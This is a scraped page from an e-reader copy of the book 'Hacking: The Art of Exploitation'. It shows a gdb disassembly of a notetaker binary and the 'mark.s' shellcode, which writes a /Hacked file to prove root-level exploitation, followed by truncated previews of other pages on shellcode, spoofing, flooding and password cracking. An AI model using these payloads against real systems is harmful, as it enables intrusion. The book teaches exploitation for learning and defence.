hacking-the-art-of-exploitation

Recommendations

Info

When run through strace, the notetaker binary’s suid-bit isn’t used, so it doesn’t have permission to open the data file. That doesn’t matter, though; we just want to make sure the arguments to the open() system call match the arguments to the open() call in C. Since they match, we can safely use the values passed to the open() function in the notetaker binary as the arguments for the open() system call in our shellcode. The compiler has already done all the work of looking up the defines and mashing them together with a bitwise OR operation; we just need to find the call arguments in the disassembly of the notetaker binary. reader@hacking:~/booksrc $ gdb -q ./notetaker Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) set dis intel (gdb) disass main Dump of assembler code for function main: 0x0804875f : push ebp 0x08048760 : mov ebp,esp 0x08048762 : sub esp,0x28 0x08048765 : and esp,0xfffffff0 0x08048768 : mov eax,0x0 0x0804876d : sub esp,eax 0x0804876f : mov DWORD PTR [esp],0x64 0x08048776 : call 0x8048601 0x0804877b : mov DWORD PTR [ebp-12],eax 0x0804877e : mov DWORD PTR [esp],0x14 0x08048785 : call 0x8048601 0x0804878a : mov DWORD PTR [ebp-16],eax 0x0804878d : mov DWORD PTR [esp+4],0x8048a9f 0x08048795 : mov eax,DWORD PTR [ebp-16] 0x08048798 : mov DWORD PTR [esp],eax 0x0804879b : call 0x8048480 0x080487a0 : cmp DWORD PTR [ebp+8],0x1 0x080487a4 : jg 0x80487ba 0x080487a6 : mov eax,DWORD PTR [ebp-16] 0x080487a9 : mov DWORD PTR [esp+4],eax 0x080487ad : mov eax,DWORD PTR [ebp+12] 0x080487b0 : mov eax,DWORD PTR [eax] 0x080487b2 : mov DWORD PTR [esp],eax 0x080487b5 : call 0x8048733 0x080487ba : mov eax,DWORD PTR [ebp+12] 0x080487bd : add eax,0x4 0x080487c0 : mov eax,DWORD PTR [eax] 0x080487c2 : mov DWORD PTR [esp+4],eax 0x080487c6 : mov eax,DWORD PTR [ebp-12] 0x080487c9 : mov DWORD PTR [esp],eax 0x080487cc : call 0x8048480 0x080487d1 : mov eax,DWORD PTR [ebp-12] 0x080487d4 : mov DWORD PTR [esp+8],eax 0x080487d8 : mov eax,DWORD PTR [ebp-12] 0x080487db : mov DWORD PTR [esp+4],eax 0x080487df : mov DWORD PTR [esp],0x8048aaa 0x080487e6 : call 0x8048490 0x080487eb : mov eax,DWORD PTR [ebp-16] 338 0x600
0x080487ee : mov DWORD PTR [esp+8],eax 0x080487f2 : mov eax,DWORD PTR [ebp-16] 0x080487f5 : mov DWORD PTR [esp+4],eax 0x080487f9 : mov DWORD PTR [esp],0x8048ac7 0x08048800 : call 0x8048490 0x08048805 : mov DWORD PTR [esp+8],0x180 0x0804880d : mov DWORD PTR [esp+4],0x441 0x08048815 : mov eax,DWORD PTR [ebp-16] 0x08048818 : mov DWORD PTR [esp],eax 0x0804881b : call 0x8048410 ---Type to continue, or q to quit---q Quit (gdb) Remember that the arguments to a function call will be pushed to the stack in reverse. In this case, the compiler decided to use mov DWORD PTR [esp+offset], value_to_push_to_stack instead of push instructions, but the structure built on the stack is equivalent. The first argument is a pointer to the name of the file in EAX, the second argument (put at [esp+4]) is 0x441, and the third argument (put at [esp+8]) is 0x180. This means that O_WRONLY| O_CREAT|O_APPEND turns out to be 0x441 and S_IRUSR|S_IWUSR is 0x180. The following shellcode uses these values to create a file called Hacked in the root filesystem. mark.s BITS 32 ; Mark the filesystem to prove you ran. jmp short one two: pop ebx ; Filename xor ecx, ecx mov BYTE [ebx+7], cl ; Null terminate filename push BYTE 0x5 ; Open() pop eax mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT xor edx, edx mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR int 0x80 ; Open file to create it. ; eax = returned file descriptor mov ebx, eax ; File descriptor to second arg push BYTE 0x6 ; Close () pop eax int 0x80 ; Close file. xor eax, eax mov ebx, eax inc eax ; Exit call. int 0x80 ; Exit(0), to avoid an infinite loop. one: call two db "/HackedX" ; 01234567 Countermeasures 339
Page 1:
CD INside 2nd Edition Hacking the a
Page 5 and 6:
® San Francisco
Page 7:
BRIEF CONTENTS Preface ............
Page 10 and 11:
0x300 EXPLOITATION 115 0x310 Genera
Page 12 and 13:
0x6a0 Hardening Countermeasures....
Page 14 and 15:
ACKNOWLEDGMENTS I would like to tha
Page 16 and 17:
2 0x100 The rules for this problem
Page 18 and 19:
4 0x100 overly simplistic encryptio
Page 20 and 21:
can be written to accomplish any gi
Page 22 and 23:
0x230 Control Structures Without co
Page 24 and 25:
lest it continue into infinity. A w
Page 26 and 27:
called constants. Returning to the
Page 28 and 29:
Quite often in programs, variables
Page 30 and 31:
0x244 Functions Sometimes there wil
Page 32 and 33:
void turn(variable_direction, targe
Page 34 and 35:
library, a function prototype is ne
Page 36 and 37:
Like a row of houses on a local str
Page 38 and 39:
Below, GDB is used to show the stat
Page 40 and 41:
There are also operations that are
Page 42 and 43:
The display format also uses a sing
Page 44 and 45:
The first four bytes are shown both
Page 46 and 47:
(gdb) x/10i $eip 0x804838b : cmp DW
Page 48 and 49:
022 18 12 DC2 122 82 52 R 023 19 13
Page 50 and 51:
familiar address of EBP minus 4 int
Page 52 and 53:
the English language, knowledge of
Page 54 and 55:
Function "strcpy" not defined. Make
Page 56 and 57:
only be in one of 2 32 possible bit
Page 58 and 59:
pointer.c #include #include int m
Page 60 and 61:
addressof.c #include int main() {
Page 62 and 63:
0x264 Format Strings The printf() f
Page 64 and 65:
The final line just shows the addre
Page 66 and 67:
As discussed earlier, dividing the
Page 68 and 69:
} } printf("[char pointer] points t
Page 70 and 71:
Naturally, it is far easier just to
Page 72 and 73:
This is rather hacky, but since thi
Page 74 and 75:
eader@hacking:~/booksrc $ ./a.out '
Page 76 and 77:
0x267 Variable Scoping Another inte
Page 78 and 79:
[in func1] i = 5, j = 42 [in func2]
Page 80 and 81:
10 (gdb) break 7 Breakpoint 1 at 0x
Page 82 and 83:
Notice that the static_var retains
Page 84 and 85:
70 0x200 The heap segment is a segm
Page 86 and 87:
End of assembler dump (gdb) disass
Page 88 and 89:
0x804836f : mov DWORD PTR [esp+8],0
Page 90 and 91:
int global_initialized_var = 5; voi
Page 92 and 93:
int main(int argc, char *argv[]) {
Page 94 and 95:
errorchecked_heap.c #include #incl
Page 96 and 97:
The bar code on the back of this bo
Page 98 and 99:
eader@hacking:~/booksrc $ ./simplen
Page 100 and 101:
} printf("\n"); display_flags("O_WR
Page 102 and 103:
eader@hacking:~/booksrc $ chmod 731
Page 104 and 105:
uid_demo.c #include int main() { p
Page 106 and 107:
} void fatal(char *); // A function
Page 108 and 109:
#define FILENAME "/var/notes" int p
Page 110 and 111:
[DEBUG] found a 34 byte note for us
Page 112 and 113:
of current_time, an empty tm struct
Page 114 and 115:
While struct memory can be accessed
Page 116 and 117:
815015288 1315541117 2080969327 450
Page 118 and 119:
printf("6 - Reset your account at 1
Page 120 and 121:
int fd; } printf("\n===============
Page 122 and 123:
} } // This function is the Pick a
Page 124 and 125:
invalid_choice = 1; while(invalid_c
Page 126 and 127:
Would you like to play again? (y/n)
Page 128 and 129:
114 0x200 Play around with this pro
Page 130 and 131:
A program can only do what it’s p
Page 132 and 133:
don’t say exactly what their crea
Page 134 and 135:
By now, you should be able to read
Page 136 and 137:
eader@hacking:~/booksrc $ gcc explo
Page 138 and 139:
11 if(strcmp(password_buffer, "bril
Page 140 and 141:
auth_overflow2.c #include #include
Page 142 and 143:
As expected, the overflow cannot di
Page 144 and 145:
(gdb) c Continuing. Breakpoint 2, c
Page 146 and 147:
Notice the two lines shown in bold
Page 148 and 149:
eader@hacking:~/booksrc $ perl -e '
Page 150 and 151:
0x0804848d : mov eax,DWORD PTR [eax
Page 152 and 153:
20 offset = atoi(argv[1]); (gdb) 21
Page 154 and 155:
called the NOP sled, that can assis
Page 156 and 157:
The function of the for loop should
Page 158 and 159:
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6
Page 160 and 161:
eader@hacking:~/booksrc $ ./notesea
Page 162 and 163:
int main(int argc, char *argv[]) {
Page 164 and 165:
char *buffer = (char *) malloc(160)
Page 166 and 167:
7e99000-b7e9a000 rw-p b7e99000 00:0
Page 168 and 169:
for that user. Using the salt value
Page 170 and 171:
0x342 Overflowing Function Pointers
Page 172 and 173:
7 - Quit [Name: Jon Erickson] [You
Page 174 and 175:
0804b630 A _edata 0804b6d4 A _end 0
Page 176 and 177:
n 5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Page 178 and 179:
6 - Reset your account at 100 credi
Page 180 and 181:
[Name: Jon Erickson] [You have 1230
Page 182 and 183:
Parameter Input Type Output Type %d
Page 184 and 185:
This is an interesting detail that
Page 186 and 187:
0x353 Reading from Arbitrary Memory
Page 188 and 189:
The wrong way to print user-control
Page 190 and 191:
The addresses and junk data at the
Page 192 and 193:
eader@hacking:~/booksrc $ reader@ha
Page 194 and 195:
0x355 Direct Parameter Access Direc
Page 196 and 197:
Since the stack doesn’t need to b
Page 198 and 199:
0x357 Detours with .dtors In binary
Page 200 and 201:
located. Then the actual bytes are
Page 202 and 203:
Since the .dtors section is writabl
Page 204 and 205:
[DEBUG] found a 34 byte note for us
Page 206 and 207:
eader@hacking:~/booksrc $ objdump -
Page 209 and 210:
0x400 NETWORKING Communication and
Page 211 and 212:
For example, whenever you browse th
Page 213 and 214:
Datagram sockets and UDP are common
Page 215 and 216:
From /usr/include/bits/socket.h /*
Page 217 and 218:
htons(short value) Host-to-Network
Page 219 and 220:
fatal("in socket"); if (setsockopt(
Page 221 and 222:
When compiled and run, the program
Page 223 and 224:
This reveals that the webserver is
Page 225 and 226:
From /usr/include/netdb.h /* Descri
Page 227 and 228:
} while(recv_line(sockfd, buffer))
Page 229 and 230:
} /* This function handles the conn
Page 231 and 232:
Accepting web requests on port 80 G
Page 233 and 234:
the two addressing schemes. In the
Page 235 and 236:
also exist on this layer. ICMP pack
Page 237 and 238:
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3
Page 239 and 240:
Interrupt:16 Base address:0x2024 re
Page 241 and 242:
u_char buffer[9000]; if ((sockfd =
Page 243 and 244:
pcap_handle = pcap_open_live(device
Page 245 and 246:
eader@hacking:~/booksrc $ $ grep -R
Page 247 and 248:
The compiler padding, as mentioned
Page 249 and 250:
Now that the headers are defined as
Page 251 and 252:
The caught_packet() function gets c
Page 253 and 254:
With the headers decoded and separa
Page 255 and 256:
Due to timeout values, the victim m
Page 257 and 258:
eader@hacking:~/booksrc $ sudo neme
Page 259 and 260:
data structures for the packet head
Page 261 and 262:
if (pd->file_mem == NULL) pd->file_
Page 263 and 264:
only builds ethernet/IP ARP packets
Page 265 and 266:
The remaining libnet functions get
Page 267 and 268:
dest_ip = libnet_name_resolve(argv[
Page 269 and 270:
In the example above, the host 192.
Page 271 and 272:
0x454 Ping Flooding Flooding DoS at
Page 273 and 274:
The host machine will receive the s
Page 275 and 276:
char errbuf[PCAP_ERRBUF_SIZE]; // S
Page 277 and 278:
TH_RST, // Control flags (RST flag
Page 279 and 280:
Christmas tree), and the Null scan
Page 281 and 282:
0x475 Proactive Defense (shroud) Po
Page 283 and 284:
char errbuf[PCAP_ERRBUF_SIZE]; // S
Page 285 and 286:
NULL, // Payload (none) 0, // Paylo
Page 287 and 288:
} while(recv(sockfd, ptr, 1, 0) ==
Page 289 and 290:
$1 = 540 (gdb) p /x 0xbffff5c0 + 20
Page 291 and 292:
" 90 90 90 90 90 90 90 90 90 90 90
Page 293 and 294:
When this exploit is compiled and r
Page 295 and 296:
0x500 SHELLCODE So far, the shellco
Page 297 and 298:
mmap2(0xb7ee4000, 9596, PROT_READ|P
Page 299 and 300:
#define __NR_stime 25 #define __NR_
Page 301 and 302: In shellcode, the bytes for the str
Page 303 and 304: eader@hacking:~/booksrc $ export SH
Page 305 and 306: which means that a small value like
Page 307 and 308: Instruction inc dec Description I
Page 309 and 310: After assembling this shellcode, he
Page 311 and 312: exec_shell.s BITS 32 jmp short two
Page 313 and 314: eader@hacking:~/booksrc $ nasm tiny
Page 315 and 316: int setresuid(uid_t ruid, uid_t eui
Page 317 and 318: push BYTE 11 pop eax push ecx push
Page 319 and 320: So, to make socket system calls usi
Page 321 and 322: push BYTE 16 ; argv: { sizeof(serve
Page 323 and 324: 00000030 80 b0 66 43 52 52 56 89 e1
Page 325 and 326: This loop iterates ECX from 0 to 2,
Page 327 and 328: push edx ; Build sockaddr struct: I
Page 329 and 330: pop eax inc ebx ; ebx = 2 (needed f
Page 331 and 332: the return address uses multiple by
Page 333 and 334: 0x600 COUNTERMEASURES The golden po
Page 335 and 336: 0x620 System Daemons To have a real
Page 337 and 338: } printf("Caught signal %d\t", sign
Page 339 and 340: tinywebd.c #include #include #inc
Page 341 and 342: if(fd == -1) { // If file is not fo
Page 343 and 344: In previous chapters, we’ve writt
Page 345 and 346: 63 if (listen(sockfd, 20) == -1) 64
Page 347 and 348: message. Shell variables are used f
Page 349 and 350: There’s a simple mistake in the t
Page 351: any program to show every system ca
Page 355 and 356: 0x08048f5f : call 0x08048f64 : nop
Page 357 and 358: push BYTE 0x6 ; Close () pop eax in
Page 359 and 360: A quick glance at the function prol
Page 361 and 362: push edx ; Build arg array: { proto
Page 363 and 364: This program can be used to inject
Page 365 and 366: Then, from another terminal, the ne
Page 367 and 368: strace is used with the -p command-
Page 369 and 370: ig red flag. We could change the po
Page 371 and 372: of new_sockfd will still be correct
Page 373 and 374: 00000020 b0 3f cd 80 49 79 f9 b0 0b
Page 375 and 376: push ebx mov ecx, esp int 0x80 ; pu
Page 377 and 378: Instruction Hex ASCII inc eax 0x40
Page 379 and 380: eader@hacking:~/booksrc $ gcc -o up
Page 381 and 382: Amazingly, these instructions, comb
Page 383 and 384: ESP up (toward lower memory address
Page 385 and 386: eader@hacking:~/booksrc $ gcc -o pr
Page 387 and 388: At the end, the shellcode has been
Page 389 and 390: esp 0xbffffa2c 0xbffffa2c eax 0x0 0
Page 391 and 392: functions are shared, so any progra
Page 393 and 394: A quick binary search shows that th
Page 395 and 396: eginning of the buffer. When a prog
Page 397 and 398: The breakpoint is set at the last i
Page 399 and 400: Bouncing off linux-gate refers to a
Page 401 and 402: matrix@loki /hacking $ for i in `se
Page 403 and 404:
manual page for execve() for detail
Page 405:
for(i=0; i < 90; i+=4) // Fill buff
Page 408 and 409:
encryption, credit card transaction
Page 410 and 411:
through the incorrect filter, its p
Page 412 and 413:
This means that, in general, the gr
Page 414 and 415:
Without some way to manipulate the
Page 416 and 417:
With a little bit of basic algebra,
Page 418 and 419:
Since this is all done modulo N, th
Page 420 and 421:
0x750 Hybrid Ciphers A hybrid crypt
Page 422 and 423:
[:] - Static route to port on host
Page 424 and 425:
communication channel with the atta
Page 426 and 427:
e asked to add the new fingerprint.
Page 428 and 429:
to be a bit hazy. The goal behind t
Page 430 and 431:
---[Current State]-----------------
Page 432 and 433:
0x760 Password Cracking Passwords a
Page 434 and 435:
crypt_crack.c #define _XOPEN_SOURCE
Page 436 and 437:
Custom dictionary files are often m
Page 438 and 439:
possible hashes for a single plaint
Page 440 and 441:
Of course, there are downsides. Fir
Page 442 and 443:
charval = (k-32)*95 + (l-32); // La
Page 444 and 445:
} /* Print the plaintext pairs that
Page 446 and 447:
printf("Building probability vector
Page 448 and 449:
Of course, if WEP is turned on, onl
Page 450 and 451:
Now when keystream data is needed,
Page 452 and 453:
After an IV collision is discovered
Page 454 and 455:
is really quite amazing. It takes a
Page 456 and 457:
Seed = IV concatenated with the key
Page 458 and 459:
int key[13] = {1, 2, 3, 4, 5, 66, 7
Page 460 and 461:
and the key is hard-coded into the
Page 462 and 463:
9 0 | 41 1 | 73 0 | 105 0 | 137 1 |
Page 465 and 466:
0x800 CONCLUSION Hacking tends to b
Page 467 and 468:
CNET News. “40-Bit Crypto Proves
Page 469 and 470:
INDEX Symbols & Numbers & (ampersan
Page 471 and 472:
uffer overrun, 119 buffers, 38 prog
Page 473 and 474:
dtors_sample.c program, 184 dump()
Page 475 and 476:
declaring as void, 17 for error che
Page 477 and 478:
Internet Protocol (IP), 220 address
Page 479 and 480:
nemesis_arp() function, 245 nemesis
Page 481 and 482:
pointer_types4.c program, 56 pointe
Page 483 and 484:
session layer (OSI), 196 for web br
Page 485 and 486:
text segment, of memory, 69 then ke
Page 488 and 489:
More No-Nonsense Books from NO STAR
Page 490:
UPDATES Visit http://www.nostarch.c
show all

hacking-the-art-of-exploitation

Create successful ePaper yourself

Delete template?

Save as template?